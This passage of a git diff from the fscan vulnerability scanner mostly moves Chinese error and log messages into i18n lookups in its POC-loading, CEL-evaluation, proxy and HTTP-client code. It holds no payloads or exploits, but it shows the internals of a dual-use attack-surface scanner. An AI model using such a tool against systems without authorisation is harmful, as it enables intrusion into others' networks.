re := regexp.MustCompile(`(?:\x{626b}\x{63cf}\x{5b8c}\x{6210}|Scan Completed).*?(\d+).*?(?:\x{7aef}\x{53e3}|ports?)`)
if matches := re.FindStringSubmatch(output); len(matches) > 1 {
count, _ := strconv.Atoi(matches[1])
return count
@@ -131,7 +131,7 @@ func parseIntList(s string) []int {
func writeCSV(filename string, results []Result) {
f, err := os.Create(filename)
if err != nil {
fmt.Printf("无法创建文件: %v\n", err)
fmt.Printf("Failed to create file: %v\n", err)
return
}
defer func() { _ = f.Close() }()
@@ -149,7 +149,7 @@ func writeCSV(filename string, results []Result) {
}
func printPlotCommand(csvFile string) {
fmt.Println("\n=== 绘图命令 ===")
fmt.Println("\n=== Plot commands ===")
fmt.Println("\n# gnuplot:")
fmt.Printf(`gnuplot -e "
set terminal png size 800,600;
+14 -12
View File
@@ -10,16 +10,18 @@ import (
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// ResultItem 扫描结果项
type ResultItem struct {
ID int64 `json:"id"`
Time time.Time `json:"time"`
Type string `json:"type"` // host, port, service, vuln
Target string `json:"target"`
Status string `json:"status"`
Details interface{} `json:"details,omitempty"`
ID int64 `json:"id"`
Time time.Time `json:"time"`
Type string `json:"type"` // host, port, service, vuln
Target string `json:"target"`
Status string `json:"status"`
Details interface{} `json:"details,omitempty"`
}
// ResultStore 结果存储
@@ -427,18 +429,18 @@ func buildStatusFromDetails(resultType, originalStatus string, details map[strin
func normalizeVulnStatus(status string, details map[string]interface{}) string {
// 英文转中文映射
vulnTranslations := map[string]string{
"weak_credential": "弱口令",
"unauthorized": "未授权访问",
"unauth": "未授权访问",
"anonymous": "匿名访问",
"CVE": "漏洞",
"weak_credential": i18n.GetText("web_result_weak_credential"),
"unauthorized": i18n.GetText("unauthorized_access"),
"unauth": i18n.GetText("unauthorized_access"),
"anonymous": i18n.GetText("web_result_anonymous_access"),
"CVE": i18n.GetText("web_result_vulnerability"),
}
// 处理 "weak_credential: user:pass" 格式
if strings.HasPrefix(status, "weak_credential:") {
cred := strings.TrimPrefix(status, "weak_credential:")
cred = strings.TrimSpace(cred)
return fmt.Sprintf("弱口令: %s", cred)
return i18n.Tr("web_result_weak_credential_detail", cred)
}
// 处理其他已知格式
+7 -5
View File
@@ -11,6 +11,8 @@ import (
"sort"
"strings"
"sync"
"github.com/shadow1ng/fscan/common/i18n"
)
//go:embed web_fingerprint_v4.json
@@ -20,10 +22,10 @@ var fingerprintHubData []byte
type EnhancedFingerprint struct {
ID string `json:"id"`
Info struct {
Name string `json:"name"`
Author string `json:"author"`
Tags string `json:"tags"`
Severity string `json:"severity"`
Name string `json:"name"`
Author string `json:"author"`
Tags string `json:"tags"`
Severity string `json:"severity"`
Metadata map[string]interface{} `json:"metadata"`
} `json:"info"`
HTTP []struct {
@@ -58,7 +60,7 @@ var (
func LoadEnhancedFingerprints() error {
var fps []*EnhancedFingerprint
if err := json.Unmarshal(fingerprintHubData, &fps); err != nil {
return fmt.Errorf("解析增强指纹库失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("fingerprint_enhanced_parse_failed"), err)
}
enhancedDB = &EnhancedFingerprintDB{
+24 -23
View File
@@ -13,6 +13,7 @@ import (
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/proxy"
gmtls "github.com/tjfoc/gmsm/gmtls"
"gopkg.in/yaml.v2"
@@ -31,12 +32,12 @@ const (
// 全局HTTP客户端变量
var (
Client *http.Client // 标准HTTP客户端
ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端
ClientGM *http.Client // 国密TLS HTTP客户端
ClientNoRedirectGM *http.Client // 国密TLS 不跟随重定向
dialTimeout = 5 * time.Second // 连接超时时间
keepAlive = 5 * time.Second // 连接保持时间
Client *http.Client // 标准HTTP客户端
ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端
ClientGM *http.Client // 国密TLS HTTP客户端
ClientNoRedirectGM *http.Client // 国密TLS 不跟随重定向
dialTimeout = 5 * time.Second // 连接超时时间
keepAlive = 5 * time.Second // 连接保持时间
)
// Inithttp 初始化HTTP客户端配置
@@ -50,7 +51,7 @@ func Inithttp(cfg *common.Config) error {
// 初始化HTTP客户端
err := InitHTTPClient(pocNum, cfg.Network.HTTPProxy, cfg.Network.WebTimeout, cfg.Network.MaxRedirects, &cfg.Network)
if err != nil {
return fmt.Errorf("HTTP客户端初始化失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("webscan_http_client_init_failed"), err)
}
return nil
}
@@ -85,7 +86,7 @@ func configureHTTPProxy(tr *http.Transport, legacyProxy string, networkConfig *c
proxyManager := proxy.NewProxyManager(proxyConfig)
proxyDialer, err := proxyManager.GetDialer()
if err != nil {
return fmt.Errorf("SOCKS5代理配置失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("webscan_socks5_proxy_config_failed"), err)
}
tr.DialContext = proxyDialer.DialContext
return nil
@@ -110,13 +111,13 @@ func configureHTTPProxy(tr *http.Transport, legacyProxy string, networkConfig *c
// 验证代理类型
if !strings.HasPrefix(httpProxyURL, "socks5://") && !strings.HasPrefix(httpProxyURL, "http://") && !strings.HasPrefix(httpProxyURL, "https://") {
return fmt.Errorf("不支持的代理类型: %s", httpProxyURL)
return fmt.Errorf("%s: %s", i18n.GetText("webscan_unsupported_proxy_type"), httpProxyURL)
}
// 解析代理URL
parsedURL, err := url.Parse(httpProxyURL)
if err != nil {
return fmt.Errorf("代理URL解析失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("webscan_proxy_url_parse_failed"), err)
}
tr.Proxy = http.ProxyURL(parsedURL)
return nil
@@ -137,9 +138,9 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max
// 配置Transport参数
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 100, // 增加到100,避免连接池耗尽
MaxIdleConns: 100, // 保留100个空闲连接
MaxIdleConnsPerHost: 10, // 每主机保留10个空闲连接
MaxConnsPerHost: 100, // 增加到100,避免连接池耗尽
MaxIdleConns: 100, // 保留100个空闲连接
MaxIdleConnsPerHost: 10, // 每主机保留10个空闲连接
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
@@ -266,7 +267,7 @@ func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
key, keyOk := one.Key.(string)
value, valueOk := one.Value.(string)
if !keyOk || !valueOk {
return fmt.Errorf("StrMap解析失败: 键或值不是字符串类型")
return fmt.Errorf("%s", i18n.GetText("webscan_strmap_parse_failed"))
}
*r = append(*r, StrItem{key, value})
}
@@ -297,7 +298,7 @@ func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
for _, one := range tmp1 {
key, ok := one.Key.(string)
if !ok {
return fmt.Errorf("RuleMap解析失败: 键不是字符串类型")
return fmt.Errorf("%s", i18n.GetText("webscan_rulemap_key_invalid"))
}
value := tmp[key]
*r = append(*r, RuleItem{key, value})
@@ -322,12 +323,12 @@ func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
for _, one := range tmp {
key, keyOk := one.Key.(string)
if !keyOk {
return fmt.Errorf("ListMap解析失败: 键不是字符串类型")
return fmt.Errorf("%s", i18n.GetText("webscan_listmap_key_invalid"))
}
valueSlice, valueOk := one.Value.([]interface{})
if !valueOk {
return fmt.Errorf("ListMap解析失败: 值不是数组类型")
return fmt.Errorf("%s", i18n.GetText("webscan_listmap_value_invalid"))
}
var value []string
@@ -369,7 +370,7 @@ func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
if p, err := LoadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
} else {
common.LogError(fmt.Sprintf("POC加载失败 %s: %v", f, err))
common.LogError(i18n.Tr("webscan_poc_load_one_failed", f, err))
}
}
return pocs
@@ -380,13 +381,13 @@ func parsePocYAML(data []byte, fileName string) (*Poc, error) {
// 使用通用适配器加载POC(自动识别格式)
universalPoc, err := LoadUniversalPoc(fileName, data)
if err != nil {
return nil, fmt.Errorf("POC解析失败 %s: %w", fileName, err)
return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_parse_failed"), fileName, err)
}
// 转换为fscan内部格式
poc, err := universalPoc.ToFscanPoc()
if err != nil {
return nil, fmt.Errorf("POC格式转换失败 %s: %w", fileName, err)
return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_convert_failed"), fileName, err)
}
return poc, nil
@@ -397,7 +398,7 @@ func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
// 读取POC文件内容
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
return nil, fmt.Errorf("POC文件读取失败 %s: %w", fileName, err)
return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_file_read_failed"), fileName, err)
}
// 解析YAML内容
@@ -408,7 +409,7 @@ func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
common.LogError(fmt.Sprintf("读取POC目录失败: %v", err))
common.LogError(i18n.Tr("webscan_poc_dir_read_failed", err))
}
var foundFiles []string
@@ -426,7 +427,7 @@ func LoadPocbyPath(fileName string) (*Poc, error) {
// 读取POC文件内容
data, err := os.ReadFile(fileName)
if err != nil {
return nil, fmt.Errorf("POC文件读取失败 %s: %w", fileName, err)
return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_file_read_failed"), fileName, err)
}
// 解析YAML内容
+8 -8
View File
@@ -108,7 +108,7 @@ func GetBaseProgramOptions() []cel.ProgramOption {
func ExtendEnvWithVars(varDecls []*exprpb.Decl) (*cel.Env, error) {
base := GetBaseEnv()
if base == nil {
return nil, fmt.Errorf("基础CEL环境未初始化")
return nil, fmt.Errorf("%s", i18n.GetText("webscan_cel_env_not_initialized"))
}
if len(varDecls) == 0 {
return base, nil
@@ -142,19 +142,19 @@ func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (r
// 编译表达式
ast, issues := env.Compile(expression)
if issues.Err() != nil {
return nil, fmt.Errorf("表达式编译错误: %w", issues.Err())
return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_expression_compile_failed"), issues.Err())
}
// 创建程序(使用缓存的程序选项)
program, err := env.Program(ast, GetBaseProgramOptions()...)
if err != nil {
return nil, fmt.Errorf("程序创建错误: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_program_create_failed"), err)
}
// 执行评估
result, _, err := program.Eval(params)
if err != nil {
return nil, fmt.Errorf("表达式评估错误: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_expression_eval_failed"), err)
}
return result, nil
@@ -435,7 +435,7 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) {
// 检查发包限制
if canSend, reason := common.CanSendPacket(); !canSend {
common.LogError(i18n.Tr("webscan_request_restricted", req.URL.String(), reason))
return nil, fmt.Errorf("发包受限: %s", reason)
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
}
var (
@@ -465,7 +465,7 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) {
if err != nil {
// HTTP请求失败,计为TCP失败
common.GetGlobalState().IncrementTCPFailedPacketCount()
return nil, fmt.Errorf("请求执行失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_execute_failed"), err)
}
// HTTP请求成功,计为TCP成功
@@ -512,7 +512,7 @@ func ParseRequest(oReq *http.Request) (*Request, error) {
if oReq.Body != nil && oReq.Body != http.NoBody {
data, err := io.ReadAll(oReq.Body)
if err != nil {
return nil, fmt.Errorf("读取请求体失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_body_read_failed"), err)
}
req.Body = data
// 重新设置请求体,允许后续重复读取
@@ -545,7 +545,7 @@ func ParseResponse(oResp *http.Response) (*Response, error) {
// 读取并解析响应体
body, err := getRespBody(oResp)
if err != nil {
return nil, fmt.Errorf("处理响应体失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_response_body_process_failed"), err)
}
resp.Body = body
+9 -8
View File
@@ -4,6 +4,7 @@ import (
"fmt"
"strings"
"github.com/shadow1ng/fscan/common/i18n"
"gopkg.in/yaml.v2"
)
@@ -103,7 +104,7 @@ func LoadUniversalPoc(filename string, data []byte) (UniversalPoc, error) {
case FormatAfrog:
return loadAfrogPoc(data)
default:
return nil, fmt.Errorf("未知POC格式: %s", filename)
return nil, fmt.Errorf("%s: %s", i18n.GetText("webscan_unknown_poc_format"), filename)
}
}
@@ -117,7 +118,7 @@ type FscanPocAdapter struct {
func loadFscanPoc(data []byte) (*FscanPocAdapter, error) {
var poc Poc
if err := yaml.Unmarshal(data, &poc); err != nil {
return nil, fmt.Errorf("fscan格式解析失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_fscan_format_parse_failed"), err)
}
return &FscanPocAdapter{&poc}, nil
}
@@ -174,7 +175,7 @@ type NucleiPocAdapter struct {
func loadNucleiPoc(data []byte) (*NucleiPocAdapter, error) {
var poc NucleiPoc
if err := yaml.Unmarshal(data, &poc); err != nil {
return nil, fmt.Errorf("nuclei格式解析失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_nuclei_format_parse_failed"), err)
}
return &NucleiPocAdapter{&poc}, nil
}
@@ -239,7 +240,7 @@ func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) {
}
if len(poc.Rules) == 0 {
return nil, fmt.Errorf("nuclei模板没有有效的HTTP规则")
return nil, fmt.Errorf("%s", i18n.GetText("webscan_nuclei_no_http_rules"))
}
return poc, nil
@@ -348,7 +349,7 @@ type XrayPocAdapter struct {
func loadXrayPoc(data []byte) (*XrayPocAdapter, error) {
var poc XrayPoc
if err := yaml.Unmarshal(data, &poc); err != nil {
return nil, fmt.Errorf("xray格式解析失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_xray_format_parse_failed"), err)
}
return &XrayPocAdapter{&poc}, nil
}
@@ -413,7 +414,7 @@ func (x *XrayPocAdapter) ToFscanPoc() (*Poc, error) {
}
if len(poc.Rules) == 0 {
return nil, fmt.Errorf("xray POC没有有效的规则")
return nil, fmt.Errorf("%s", i18n.GetText("webscan_xray_no_rules"))
}
return poc, nil
@@ -447,7 +448,7 @@ type AfrogPocAdapter struct {
func loadAfrogPoc(data []byte) (*AfrogPocAdapter, error) {
var poc AfrogPoc
if err := yaml.Unmarshal(data, &poc); err != nil {
return nil, fmt.Errorf("afrog格式解析失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_afrog_format_parse_failed"), err)
}
return &AfrogPocAdapter{&poc}, nil
}
@@ -519,7 +520,7 @@ func (a *AfrogPocAdapter) ToFscanPoc() (*Poc, error) {
}
if len(poc.Rules) == 0 {
return nil, fmt.Errorf("afrog POC没有有效的规则")
return nil, fmt.Errorf("%s", i18n.GetText("webscan_afrog_no_rules"))
}
return poc, nil
+14 -14
View File
@@ -120,24 +120,24 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int, pocCtx *POCConte
_ = common.SaveResult(result)
// 构造控制台输出的日志信息
logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:",
logMsg := i18n.Tr("webscan_vuln_detail_header",
task.Req.URL,
task.Poc.Name,
vulName)
// 添加作者信息到日志
if task.Poc.Detail.Author != "" {
logMsg += "\n\t作者:" + task.Poc.Detail.Author
logMsg += "\n\t" + i18n.Tr("webscan_vuln_author", task.Poc.Detail.Author)
}
// 添加参考链接到日志
if len(task.Poc.Detail.Links) != 0 {
logMsg += "\n\t参考链接:" + strings.Join(task.Poc.Detail.Links, "\n")
logMsg += "\n\t" + i18n.Tr("webscan_vuln_references", strings.Join(task.Poc.Detail.Links, "\n"))
}
// 添加描述信息到日志
if task.Poc.Detail.Description != "" {
logMsg += "\n\t描述:" + task.Poc.Detail.Description
logMsg += "\n\t" + i18n.Tr("webscan_vuln_description", task.Poc.Detail.Description)
}
// 输出成功日志
@@ -191,13 +191,13 @@ func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, e
// 从基础环境扩展(复用缓存的基础环境,仅添加变量声明)
env, err := ExtendEnvWithVars(varDecls)
if err != nil {
return false, "", fmt.Errorf("执行环境错误 %s: %w", p.Name, err)
return false, "", fmt.Errorf("%s %s: %w", i18n.GetText("webscan_exec_env_error"), p.Name, err)
}
// 解析请求
req, err := ParseRequest(oReq)
if err != nil {
return false, "", fmt.Errorf("请求解析错误 %s: %w", p.Name, err)
return false, "", fmt.Errorf("%s %s: %w", i18n.GetText("webscan_request_parse_error"), p.Name, err)
}
// 初始化变量映射
@@ -268,7 +268,7 @@ func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}
strings.NewReader(rule.Body),
)
if err != nil {
return false, fmt.Errorf("请求创建错误: %w", err)
return false, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_create_error"), err)
}
// 设置请求头
@@ -489,9 +489,9 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
payloadExpr = expr
}
output, err := evalset1(env, variableMap, key, expr)
if err != nil {
common.LogError(i18n.Tr("webscan_set_exec_error", key, err))
}
if err != nil {
common.LogError(i18n.Tr("webscan_set_exec_error", key, err))
}
payloads[key] = output
}
@@ -660,9 +660,9 @@ func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, ski
// 生成日志消息
var logMsg string
if pocDef.Name == "poc-yaml-backup-file" || pocDef.Name == "poc-yaml-sql-file" {
logMsg = fmt.Sprintf("检测到漏洞 %s %s", targetURL, pocDef.Name)
logMsg = i18n.Tr("webscan_vuln_detected", targetURL, pocDef.Name)
} else {
logMsg = fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, pocDef.Name, params)
logMsg = i18n.Tr("webscan_vuln_detected_params", targetURL, pocDef.Name, params)
}
// 输出成功日志
@@ -773,7 +773,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
reqURL := fmt.Sprintf("%s://%s%s", req.URL.Scheme, req.URL.Host, req.URL.Path)
newRequest, err := http.NewRequestWithContext(oReq.Context(), rule.Method, reqURL, strings.NewReader(rule.Body))
if err != nil {
return false, fmt.Errorf("HTTP请求错误: %w", err)
return false, fmt.Errorf("%s: %w", i18n.GetText("webscan_http_request_error"), err)
}
defer func() { newRequest = nil }()
@@ -786,7 +786,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
// 发送请求
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, fmt.Errorf("请求发送错误: %w", err)
return false, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_send_error"), err)
}
// 更新响应到变量映射
+4 -4
View File
@@ -31,10 +31,10 @@ const (
// 错误定义
var (
ErrInvalidURL = errors.New("无效的URL格式")
ErrEmptyTarget = errors.New("目标URL为空")
ErrPocNotFound = errors.New("未找到匹配的POC")
ErrPocLoadFailed = errors.New("POC加载失败")
ErrInvalidURL = errors.New(i18n.GetText("webscan_err_invalid_url"))
ErrEmptyTarget = errors.New(i18n.GetText("webscan_err_empty_target"))
ErrPocNotFound = errors.New(i18n.GetText("webscan_err_poc_not_found"))
ErrPocLoadFailed = errors.New(i18n.GetText("webscan_err_poc_load_failed"))
)
//go:embed pocs